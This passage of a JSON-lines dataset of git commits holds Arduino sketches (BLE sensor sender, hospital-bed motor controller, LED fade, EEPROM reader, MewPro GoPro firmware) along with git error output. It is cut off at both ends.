0;\n\nint buttonVariable = 0;\n\nvoid setup() {\n\n \/\/Serial.begin(9600); \/\/ initialize serial communications\n pinMode(ledPin, OUTPUT);\n\n pinMode(button, INPUT);\n\n if ( !ble.begin(false)) { \/\/ initialize Bluefruit radio\n Serial.println(\"Couldn't find Bluefruit\");\n while (true); \/\/ do nothing more\n }\n\n \/\/ set radio into data mode:\n ble.setMode(BLUEFRUIT_MODE_DATA);\n}\n\nvoid loop(void) {\n zax = analogRead(A0);\n yax = analogRead(A1);\n xax = analogRead(A2);\n\n buttonState = digitalRead(button);\n if (buttonState == HIGH) {\n \/\/ \/\/ turn LED on:\n digitalWrite(ledPin, HIGH);\n \/\/ Serial.print(1);\n \/\/ble.print();\n buttonVariable = 1;\n }\n else {\n \/\/ \/\/ turn LED off:\n digitalWrite(ledPin, LOW);\n \/\/ Serial.print(0);\n \/\/ble.print(0);\n buttonVariable = 0;\n\n }\n\n \/\/ Send input data to host via Bluefruit\n \/\/ Serial.print(',');\n \/\/ble.print(',');\n Serial.print(buttonVariable);\n Serial.print(\",\");\n Serial.println(zax);\n\n ble.print(buttonVariable);\n ble.print(\",\");\n ble.println(zax);\n \/\/ Serial.print(',');\n \/\/ ble.print(',');\n \/\/ Serial.print(yax);\n \/\/ ble.print(yax);\n \/\/ Serial.print(',');\n \/\/ ble.print(',');\n \/\/ ble.println(xax);\n \/\/ Serial.println(xax);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SuperHero_v8\/arduinofeather\/_bleFeatherCodeUpdate002\/_bleFeatherCodeUpdate002.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1cd27361fc9f7e6281146625976da121506311ba","subject":"added code for arduino with sensors","message":"added code for arduino with sensors\n","repos":"gt-ros-pkg\/hrl_autobed_dev,gt-ros-pkg\/hrl_autobed_dev,gt-ros-pkg\/hrl_autobed_dev,gt-ros-pkg\/hrl_autobed_dev,gt-ros-pkg\/hrl_autobed_dev,gt-ros-pkg\/hrl_autobed_dev","old_file":"autobed_engine\/arduino\/hrl_arduino_sensors.ino","new_file":"autobed_engine\/arduino\/hrl_arduino_sensors.ino","new_contents":"\/\/ Define output pin\nlong myData;\nint headUP=5;\nint headDN=2;\nint bedUP=6;\nint bedDN=4;\nint legsUP=3;\nint legsDN=7;\nint ledTimer1;\nint pin=13;\n\n#include <SimpleTimer.h>\n\/\/#include <SoftwareSerial.h>\n\/\/ XBee's DOUT (TX) is connected to pin 2 (Arduino's Software RX)\n\/\/ XBee's DIN (RX) is connected to pin 3 (Arduino's Software TX)\n\/\/SoftwareSerial XBee(2, 3);\n\nSimpleTimer t1;\n\n\nvoid setup() {\n \/\/ Initialize the serial\n Serial.begin(9600);\n\/\/ XBee.begin(9600);\n\n ledTimer1 = t1.setInterval(500,resetPIN1);\n\n \n \/\/ Define our pins\n \n pinMode(pin,OUTPUT);digitalWrite(pin,LOW);\n pinMode(headUP, OUTPUT);digitalWrite(headUP, LOW);\n pinMode(headDN, OUTPUT);digitalWrite(headDN, LOW);\n pinMode(bedUP, OUTPUT);digitalWrite(bedUP, LOW);\n pinMode(bedDN, OUTPUT);digitalWrite(bedDN, LOW);\n pinMode(legsUP, OUTPUT);digitalWrite(legsUP, LOW);\n pinMode(legsDN, OUTPUT);digitalWrite(legsDN, LOW);\n}\n\nvoid resetPIN1(){\n digitalWrite(pin, LOW);\n digitalWrite(headUP, LOW);\n digitalWrite(headDN, LOW);\n digitalWrite(bedUP, LOW);\n digitalWrite(bedDN, LOW);\n digitalWrite(legsUP, LOW);\n digitalWrite(legsDN, LOW);\n}\n\n\n\nvoid loop() {\n \/\/ read sensor info from ananlog pins\n int a0 = analogRead(A0);\n int a1 = analogRead(A1);\n int a2 = analogRead(A2);\n int a3 = analogRead(A3);\n Serial.print(a0);\n Serial.print(',');\n Serial.print(a1);\n Serial.print(',');\n Serial.print(a2);\n Serial.print(',');\n Serial.println(a3);\n \/\/ check to see if there is data waiting\n \/\/if (XBee.available())\n \/\/{ \n int avail = Serial.available();\n\n if(avail > 0) {\n myData = Serial.read();\n \n if(myData == 'A') {\n digitalWrite(pin,HIGH);\n digitalWrite(headUP, HIGH);\n t1.restartTimer(ledTimer1);\n }\n else {digitalWrite(headUP, LOW);}\n \n if(myData == 'B') {\n digitalWrite(pin,HIGH);\n digitalWrite(headDN, HIGH);\n t1.restartTimer(ledTimer1);\n } \n else {digitalWrite(headDN, LOW);}\n \n if(myData == 'C') {\n digitalWrite(pin,HIGH);\n digitalWrite(bedUP, HIGH);\n t1.restartTimer(ledTimer1);\n }\n else {digitalWrite(bedUP, LOW);}\n \n if(myData == 'D') {\n digitalWrite(pin,HIGH);\n digitalWrite(bedDN, HIGH);\n t1.restartTimer(ledTimer1);\n }\n else {digitalWrite(bedDN, LOW);}\n \n if(myData == 'E') {\n digitalWrite(pin,HIGH);\n digitalWrite(legsUP, HIGH);\n t1.restartTimer(ledTimer1);\n }\n else {digitalWrite(legsUP, LOW);}\n \n if(myData == 'F') {\n digitalWrite(pin,HIGH);\n digitalWrite(legsDN, HIGH);\n t1.restartTimer(ledTimer1);\n }\n else {digitalWrite(legsDN, LOW);}\n }\n \/\/}\nt1.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'autobed_engine\/arduino\/hrl_arduino_sensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3c8a5d30dc2e8931c86d48d5fd285248ca27e5f","subject":"sample receiver code as starting point","message":"sample receiver code as starting point\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"503a60472bff42092822582492489e9a5f587e3a","subject":"Simplifying the shiiiiiiit out of the receiver code :metal:","message":"Simplifying the shiiiiiiit out of the receiver code :metal:\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0d9be1ef8edcce76425bce88682f3b127f8acc7f","subject":"typo fix","message":"typo fix\n","repos":"ixd-plus\/arduino-course","old_file":"exercises\/led_fading\/led_fading.ino","new_file":"exercises\/led_fading\/led_fading.ino","new_contents":"int intensity = 0;\nint dir = 1;\n\nvoid setup() {\n pinMode(3, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n if(intensity == 255) {\n dir = -1;\n }\n if(intensity == 0) {\n dir = 1;\n }\n intensity = intensity + dir;\n analogWrite(3, intensity); \/\/ 0-255\n\n Serial.println(intensity);\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exercises\/led_fading\/led_fading.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"daf3be5cc431e2df5e0b9f01fc2cfec5aad90bc1","subject":"Program to read 50 first bytes in EEPROM memory and print them in serial.","message":"Program to read 50 first bytes in EEPROM memory and print them in serial.\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/EEPROM_read\/EEPROM_read.ino","new_file":"Tests\/EEPROM_read\/EEPROM_read.ino","new_contents":"\/*\n * EEPROM Read\n *\n * Reads the value of each byte of the EEPROM and prints it\n * to the computer.\n * This example code is in the public domain.\n *\/\n\n#include <EEPROM.h>\n\n\/\/ start reading from the first byte (address 0) of the EEPROM\nbyte value;\n\n\nvoid setup() {\n \/\/ initialize serial and wait for port to open:\n Serial.begin(9600);\n\n Serial.print(\"[\");\n for (int address = 0; address < 50; address++) {\n value = EEPROM.read(address);\n Serial.print(value);\n Serial.print(\" \");\n }\n Serial.print(\"]\");\n}\n\nvoid loop() {\n \/\/ read a byte from the current address of the EEPROM\n\n \n\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/EEPROM_read\/EEPROM_read.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1c140ae0f2f7750b25078b1749cd3bd02a674c66","subject":"best change ever ever ever","message":"best change ever ever ever\n\ntry hard\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fedab24f112878bba118e46f77d9815e813b6cda","subject":"comment on WireS","message":"comment on WireS\n","repos":"orangkucing\/MewPro,jcanseco\/MewPro,orangkucing\/MewPro,hunt0r\/MewPro,jcanseco\/MewPro","old_file":"MewPro.ino","new_file":"MewPro.ino","new_contents":"\/\/ MewPro\n\/\/\n\/\/ The following small-factor micro processor boards are known to work with MewPro at least core functionalities and fit within the GoPro housing.\n\/\/ Not all the sensors, however, are supported by each of them.\n\/\/\n\/\/ Arduino Pro Mini 328 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Arduino Pro Micro - 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Teensy 3.x \/ Teensy LC\n\/\/ [POWER SUPPLY: The VIN-VUSB pad connection on the bottom side of Teensy 3.x\/LC needs to be cut.]\n\/\/ To compile the code with Teensy 3.x\/LC:\n\/\/ 1. use Arduino IDE 1.0.6+ and Teensyduino 1.20+\n\/\/ 2. comment out all unused #include as \/\/#include (see Note* below)\n\/\/\n\/\/ (Note*: There is an infamous Arduino IDE's preprocessor bug (or something) that causes to ignore #ifdef\/#else\/#endif directives and forces \n\/\/ to compile unnecessary libraries.)\n\/\/\n\/\/ Intel Edison\n\/\/ Since Intel Edison can not work as I2C slave, it requires an I2C proxy.\n\/\/\n\/\/ GR-KURUMI\n\/\/ [POWER SUPPLY: The dummy resistor soldered on JP1 of the MewPro board needs replacement w\/ a general purpose diode of >100mA w\/ dropoff voltage 1V\n\/\/ (eg. Bourns S0180); Anode should be located on the Herobus side and Cathode on the Arduino side.]\n\/\/ To compile the code with GR-KURUMI using Renesas web compiler http:\/\/www.renesas.com\/products\/promotion\/gr\/index.jsp#cloud :\n\/\/ 1. open a new project with the template GR-KURUMI_Sketch_V1.04.zip.\n\/\/ 2. create a folder named MewPro and upload all the files there.\n\/\/ 3. at project's home directory, replace all the lines of gr_scketch.cpp by the following code (BEGIN \/ END lines should be excluded).\n\/* BEGIN copy\n#include <RLduino78.h>\n#include \"MewPro\/MewPro.ino\"\n#include \"MewPro\/a_Queue.ino\"\n#include \"MewPro\/b_TimeAlarms.ino\"\n#include \"MewPro\/c_I2C.ino\"\n#include \"MewPro\/d_BacpacCommands.ino\"\n#include \"MewPro\/e_Shutter.ino\"\n#include \"MewPro\/f_Switch.ino\"\n#include \"MewPro\/g_IRremote.ino\"\n#include \"MewPro\/h_LightSensor.ino\"\n#include \"MewPro\/i_PIRsensor.ino\"\n#include \"MewPro\/j_VideoMotionDetect.ino\"\n#include \"MewPro\/k_Genlock.ino\"\nEND copy *\/\n\/\/\n\n\/\/ Copyright (c) 2014-2015 orangkucing\n\/\/\n\/\/ MewPro firmware version string for maintenance\n#define MEWPRO_FIRMWARE_VERSION \"2015051800\"\n\n\/\/\n#include <Arduino.h>\n#include <EEPROM.h>\n#include \"MewPro.h\"\n\n\/\/ enable console output\n\/\/ set false if this is MewPro #0 of dual dongle configuration\nboolean debug = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Options:\n\/\/ Choose either \"#define\" to use or \"#undef\" not to use. \n\/\/ if #define then don't forget to remove \/\/ before \/\/#include\n\n\/\/********************************************************\n\/\/ a_TimeAlarms: MewPro driven timelapse\n#undef USE_TIME_ALARMS\n\/\/ Time and TimeAlarms libraries are downloadable from\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n\/\/ and http:\/\/www.pjrc.com\/teensy\/td_libs_TimeAlarms.html\n\/\/ In order to compile the code on Pro Mini 328, find the following and edit the first line of them\n\/\/ #if defined(__AVR__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ to\n\/\/ #if defined(__AVR__) && !defined(__AVR_ATmega328P__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ appeared in Documents\/Arduino\/libraries\/Time\/DateStrings.cpp\n\/\/#include <Time.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\/\/#include <TimeAlarms.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\n\/\/********************************************************\n\/\/ c_I2C: I2C interface (THIS PART CAN'T BE OPTED OUT)\n\/\/ \n\/\/ Note: in order to use MewPro reliably, THE FOLLOWING MODIFICATIONS TO STANDARD ARDUINO LIBRARY SOURCE IS\n\/\/ STRONGLY RECOMMENDED:\n\/\/\n\/\/ Arduino Pro Mini \/ Arduino Pro Micro\n\/\/ 1. hardware\/arduino\/avr\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n\/\/ 2. hardware\/arduino\/avr\/libraries\/Wire\/utility\/twi.h\n\/\/ old: #define TWI_BUFFER_LENGTH 32 --> new: #define TWI_BUFFER_LENGTH 64\n\/\/ Arduino Due\n\/\/ hardware\/arduino\/sam\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n#include <Wire.h> \/\/ *** please comment out this line if __MK20DX256__ or __MK20DX128__ or __MKL26Z64__ or __AVR_ATtiny1634__ is defined ***\n#if BUFFER_LENGTH < 64\n#error Please modify Arduino Wire library source code to increase the I2C buffer size\n#endif\n\/\/\n\/\/ Teensy 3.0 or 3.1 or LC\n\/\/#include <i2c_t3.h> \/\/ *** please comment out this line if __MK20DX256__ and __MK20DX128__ and __MKL26Z64__ are not defined ***\n\/\/\n\/\/ ATtiny1634 core https:\/\/github.com\/SpenceKonde\/arduino-tiny-841\n\/\/ WireS library is downloadable from https:\/\/github.com\/orangkucing\/WireS\n\/\/ - In order to use F(\" \") macro, hardware\/arduino-tiny-841\/avr\/cores\/tiny\/{Print|WString}.{cpp|h} must\n\/\/ be replaced by hardware\/arduino\/avr\/cores\/arduino\/{Print|WString}.{cpp|h}\n\/\/ - And hardware\/arduino\/avr\/cores\/arduino\/Printable.h must be copied to\n\/\/ hardware\/arduino-tiny-841\/avr\/cores\/tiny\/Printable.h\n\/\/ - Please also refer this commit: https:\/\/github.com\/orangkucing\/WireS\/commit\/e5d0a80ebd1f0797fc750a10208918a6392a488a\n\/\/#include <WireS.h> \/\/ *** please comment out this line if __AVR_ATtiny1634__ is not defined ***\n\n#undef USE_I2C_PROXY \/\/ define if using I2C proxy and this CPU acts as I2C master\n\n\/\/********************************************************\n\/\/ e_Shutters: A remote shutters without contact bounce or chatter\n#undef USE_SHUTTER\n\n\/\/********************************************************\n\/\/ f_Switches: One or two mechanical switches\n#undef USE_SWITCHES\n\n\/\/********************************************************\n\/\/ g_IRremote: IR remote controller\n#undef USE_IR_REMOTE\n\/\/ IRremote2 is downloadable from https:\/\/github.com\/enternoescape\/Arduino-IRremote-Due\n\/\/ (this works not only on Due but also on Pro Mini etc.)\n\/\/#include <IRremote2.h> \/\/ *** please comment out this line if USE_IR_REMOTE is not defined ***\n\n\/\/********************************************************\n\/\/ h_LightSensor: Ambient light sensor\n#undef USE_LIGHT_SENSOR\n\n\/\/********************************************************\n\/\/ i_PIRsensor: Passive InfraRed motion sensor\n#undef USE_PIR_SENSOR\n\n\/\/********************************************************\n\/\/ j_VideoMotionDetect: Video Motion Detector\n\/\/ Video motion detect consumes almost all the dynamic memory. So if you want to use this then #undef all options above.\n#undef USE_VIDEOMOTION\n\/\/ The part of code utilizes the following library except GR-KURUMI. Please download and install:\n\/\/ https:\/\/github.com\/orangkucing\/analogComp\n\/\/#include \"analogComp.h\" \/\/ *** please comment out this line if USE_VIDEOMOTION is not defined or GR-KURUMI ***\n\n\/\/********************************************************\n\/\/ k_Genlock: Generator Lock\n\/\/ Note: MewPro #0 in dual dongle configuration should always boolean debug = false;\n#undef USE_GENLOCK\n\n\/\/ end of Options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ if __AVR_ATmega32U4__ (Leonardo or Pro Micro) then use Serial1 (TTL) instead of Serial (USB) to communicate with genlock dongle\n#if defined(USE_GENLOCK) && defined(__AVR_ATmega32U4__)\n#define Serial Serial1\n#endif\n\nboolean lastHerobusState = LOW; \/\/ Will be HIGH when camera attached.\nint eepromId = 0;\n\nvoid userSettings()\n{\n \/\/ This function is called once after camera boot.\n \/\/ you can set put any camera commands here. For example:\n \/\/ queueIn(\"AI1\");\n \/\/ queueIn(\"TI5\");\n}\n\nvoid setup()\n{\n \/\/ Remark. Arduino Pro Mini 328 3.3V 8MHz is too slow to catch up with the highest 115200 baud.\n \/\/ cf. http:\/\/forum.arduino.cc\/index.php?topic=54623.0\n \/\/ Set 57600 baud or slower.\n Serial.begin(57600);\n \n setupShutter();\n setupSwitch();\n setupIRremote();\n setupLightSensor();\n setupPIRSensor();\n setupGenlock();\n\n setupLED(); \/\/ onboard LED setup \n pinMode(BPRDY, OUTPUT); digitalWrite(BPRDY, LOW); \/\/ Show camera MewPro attach. \n\n \/\/ don't forget to switch pin configurations to INPUT.\n pinMode(I2CINT, INPUT); \/\/ Teensy: default disabled\n pinMode(HBUSRDY, INPUT); \/\/ default: analog input\n pinMode(PWRBTN, INPUT); \/\/ default: analog input\n}\n\nvoid loop() \n{\n \/\/ Attach or detach bacpac\n if (digitalRead(HBUSRDY) == HIGH) {\n if (lastHerobusState != HIGH) {\n#if !defined(USE_I2C_PROXY)\n pinMode(I2CINT, OUTPUT); digitalWrite(I2CINT, HIGH);\n#endif\n lastHerobusState = HIGH;\n if (eepromId == 0) {\n isMaster(); \/\/ determine master\/slave and resetI2C()\n } else {\n resetI2C();\n }\n }\n } else {\n if (lastHerobusState != LOW) {\n pinMode(I2CINT, INPUT);\n lastHerobusState = LOW;\n }\n }\n checkTimeAlarms();\n checkBacpacCommands();\n checkCameraCommands();\n checkSwitch();\n checkIRremote();\n checkLightSensor();\n checkPIRSensor();\n checkVMD();\n checkGenlock();\n}\n\n","old_contents":"\/\/ MewPro\n\/\/\n\/\/ The following small-factor micro processor boards are known to work with MewPro at least core functionalities and fit within the GoPro housing.\n\/\/ Not all the sensors, however, are supported by each of them.\n\/\/\n\/\/ Arduino Pro Mini 328 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Arduino Pro Micro - 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Teensy 3.x \/ Teensy LC\n\/\/ [POWER SUPPLY: The VIN-VUSB pad connection on the bottom side of Teensy 3.x\/LC needs to be cut.]\n\/\/ To compile the code with Teensy 3.x\/LC:\n\/\/ 1. use Arduino IDE 1.0.6+ and Teensyduino 1.20+\n\/\/ 2. comment out all unused #include as \/\/#include (see Note* below)\n\/\/\n\/\/ (Note*: There is an infamous Arduino IDE's preprocessor bug (or something) that causes to ignore #ifdef\/#else\/#endif directives and forces \n\/\/ to compile unnecessary libraries.)\n\/\/\n\/\/ Intel Edison\n\/\/ Since Intel Edison can not work as I2C slave, it requires an I2C proxy.\n\/\/\n\/\/ GR-KURUMI\n\/\/ [POWER SUPPLY: The dummy resistor soldered on JP1 of the MewPro board needs replacement w\/ a general purpose diode of >100mA w\/ dropoff voltage 1V\n\/\/ (eg. Bourns S0180); Anode should be located on the Herobus side and Cathode on the Arduino side.]\n\/\/ To compile the code with GR-KURUMI using Renesas web compiler http:\/\/www.renesas.com\/products\/promotion\/gr\/index.jsp#cloud :\n\/\/ 1. open a new project with the template GR-KURUMI_Sketch_V1.04.zip.\n\/\/ 2. create a folder named MewPro and upload all the files there.\n\/\/ 3. at project's home directory, replace all the lines of gr_scketch.cpp by the following code (BEGIN \/ END lines should be excluded).\n\/* BEGIN copy\n#include <RLduino78.h>\n#include \"MewPro\/MewPro.ino\"\n#include \"MewPro\/a_Queue.ino\"\n#include \"MewPro\/b_TimeAlarms.ino\"\n#include \"MewPro\/c_I2C.ino\"\n#include \"MewPro\/d_BacpacCommands.ino\"\n#include \"MewPro\/e_Shutter.ino\"\n#include \"MewPro\/f_Switch.ino\"\n#include \"MewPro\/g_IRremote.ino\"\n#include \"MewPro\/h_LightSensor.ino\"\n#include \"MewPro\/i_PIRsensor.ino\"\n#include \"MewPro\/j_VideoMotionDetect.ino\"\n#include \"MewPro\/k_Genlock.ino\"\nEND copy *\/\n\/\/\n\n\/\/ Copyright (c) 2014-2015 orangkucing\n\/\/\n\/\/ MewPro firmware version string for maintenance\n#define MEWPRO_FIRMWARE_VERSION \"2015051800\"\n\n\/\/\n#include <Arduino.h>\n#include <EEPROM.h>\n#include \"MewPro.h\"\n\n\/\/ enable console output\n\/\/ set false if this is MewPro #0 of dual dongle configuration\nboolean debug = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Options:\n\/\/ Choose either \"#define\" to use or \"#undef\" not to use. \n\/\/ if #define then don't forget to remove \/\/ before \/\/#include\n\n\/\/********************************************************\n\/\/ a_TimeAlarms: MewPro driven timelapse\n#undef USE_TIME_ALARMS\n\/\/ Time and TimeAlarms libraries are downloadable from\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n\/\/ and http:\/\/www.pjrc.com\/teensy\/td_libs_TimeAlarms.html\n\/\/ In order to compile the code on Pro Mini 328, find the following and edit the first line of them\n\/\/ #if defined(__AVR__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ to\n\/\/ #if defined(__AVR__) && !defined(__AVR_ATmega328P__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ appeared in Documents\/Arduino\/libraries\/Time\/DateStrings.cpp\n\/\/#include <Time.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\/\/#include <TimeAlarms.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\n\/\/********************************************************\n\/\/ c_I2C: I2C interface (THIS PART CAN'T BE OPTED OUT)\n\/\/ \n\/\/ Note: in order to use MewPro reliably, THE FOLLOWING MODIFICATIONS TO STANDARD ARDUINO LIBRARY SOURCE IS\n\/\/ STRONGLY RECOMMENDED:\n\/\/\n\/\/ Arduino Pro Mini \/ Arduino Pro Micro\n\/\/ 1. hardware\/arduino\/avr\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n\/\/ 2. hardware\/arduino\/avr\/libraries\/Wire\/utility\/twi.h\n\/\/ old: #define TWI_BUFFER_LENGTH 32 --> new: #define TWI_BUFFER_LENGTH 64\n\/\/ Arduino Due\n\/\/ hardware\/arduino\/sam\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n#include <Wire.h> \/\/ *** please comment out this line if __MK20DX256__ or __MK20DX128__ or __MKL26Z64__ or __AVR_ATtiny1634__ is defined ***\n#if BUFFER_LENGTH < 64\n#error Please modify Arduino Wire library source code to increase the I2C buffer size\n#endif\n\/\/\n\/\/ Teensy 3.0 or 3.1 or LC\n\/\/#include <i2c_t3.h> \/\/ *** please comment out this line if __MK20DX256__ and __MK20DX128__ and __MKL26Z64__ are not defined ***\n\/\/\n\/\/ ATtiny1634 core https:\/\/github.com\/SpenceKonde\/arduino-tiny-841\n\/\/ WireS library is downloadable from https:\/\/github.com\/orangkucing\/WireS\n\/\/ - In order to use F(\" \") macro, hardware\/arduino-tiny-841\/avr\/cores\/tiny\/{Print|WString}.{cpp|h} must\n\/\/ be replaced by hardware\/arduino\/avr\/cores\/arduino\/{Print|WString}.{cpp|h}\n\/\/ - And hardware\/arduino\/avr\/cores\/arduino\/Printable.h must be copied to\n\/\/ hardware\/arduino-tiny-841\/avr\/cores\/tiny\/Printable.h\n\/\/#include <WireS.h> \/\/ *** please comment out this line if __AVR_ATtiny1634__ is not defined ***\n\n#undef USE_I2C_PROXY \/\/ define if using I2C proxy and this CPU acts as I2C master\n\n\/\/********************************************************\n\/\/ e_Shutters: A remote shutters without contact bounce or chatter\n#undef USE_SHUTTER\n\n\/\/********************************************************\n\/\/ f_Switches: One or two mechanical switches\n#undef USE_SWITCHES\n\n\/\/********************************************************\n\/\/ g_IRremote: IR remote controller\n#undef USE_IR_REMOTE\n\/\/ IRremote2 is downloadable from https:\/\/github.com\/enternoescape\/Arduino-IRremote-Due\n\/\/ (this works not only on Due but also on Pro Mini etc.)\n\/\/#include <IRremote2.h> \/\/ *** please comment out this line if USE_IR_REMOTE is not defined ***\n\n\/\/********************************************************\n\/\/ h_LightSensor: Ambient light sensor\n#undef USE_LIGHT_SENSOR\n\n\/\/********************************************************\n\/\/ i_PIRsensor: Passive InfraRed motion sensor\n#undef USE_PIR_SENSOR\n\n\/\/********************************************************\n\/\/ j_VideoMotionDetect: Video Motion Detector\n\/\/ Video motion detect consumes almost all the dynamic memory. So if you want to use this then #undef all options above.\n#undef USE_VIDEOMOTION\n\/\/ The part of code utilizes the following library except GR-KURUMI. Please download and install:\n\/\/ https:\/\/github.com\/orangkucing\/analogComp\n\/\/#include \"analogComp.h\" \/\/ *** please comment out this line if USE_VIDEOMOTION is not defined or GR-KURUMI ***\n\n\/\/********************************************************\n\/\/ k_Genlock: Generator Lock\n\/\/ Note: MewPro #0 in dual dongle configuration should always boolean debug = false;\n#undef USE_GENLOCK\n\n\/\/ end of Options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ if __AVR_ATmega32U4__ (Leonardo or Pro Micro) then use Serial1 (TTL) instead of Serial (USB) to communicate with genlock dongle\n#if defined(USE_GENLOCK) && defined(__AVR_ATmega32U4__)\n#define Serial Serial1\n#endif\n\nboolean lastHerobusState = LOW; \/\/ Will be HIGH when camera attached.\nint eepromId = 0;\n\nvoid userSettings()\n{\n \/\/ This function is called once after camera boot.\n \/\/ you can set put any camera commands here. For example:\n \/\/ queueIn(\"AI1\");\n \/\/ queueIn(\"TI5\");\n}\n\nvoid setup()\n{\n \/\/ Remark. Arduino Pro Mini 328 3.3V 8MHz is too slow to catch up with the highest 115200 baud.\n \/\/ cf. http:\/\/forum.arduino.cc\/index.php?topic=54623.0\n \/\/ Set 57600 baud or slower.\n Serial.begin(57600);\n \n setupShutter();\n setupSwitch();\n setupIRremote();\n setupLightSensor();\n setupPIRSensor();\n setupGenlock();\n\n setupLED(); \/\/ onboard LED setup \n pinMode(BPRDY, OUTPUT); digitalWrite(BPRDY, LOW); \/\/ Show camera MewPro attach. \n\n \/\/ don't forget to switch pin configurations to INPUT.\n pinMode(I2CINT, INPUT); \/\/ Teensy: default disabled\n pinMode(HBUSRDY, INPUT); \/\/ default: analog input\n pinMode(PWRBTN, INPUT); \/\/ default: analog input\n}\n\nvoid loop() \n{\n \/\/ Attach or detach bacpac\n if (digitalRead(HBUSRDY) == HIGH) {\n if (lastHerobusState != HIGH) {\n#if !defined(USE_I2C_PROXY)\n pinMode(I2CINT, OUTPUT); digitalWrite(I2CINT, HIGH);\n#endif\n lastHerobusState = HIGH;\n if (eepromId == 0) {\n isMaster(); \/\/ determine master\/slave and resetI2C()\n } else {\n resetI2C();\n }\n }\n } else {\n if (lastHerobusState != LOW) {\n pinMode(I2CINT, INPUT);\n lastHerobusState = LOW;\n }\n }\n checkTimeAlarms();\n checkBacpacCommands();\n checkCameraCommands();\n checkSwitch();\n checkIRremote();\n checkLightSensor();\n checkPIRSensor();\n checkVMD();\n 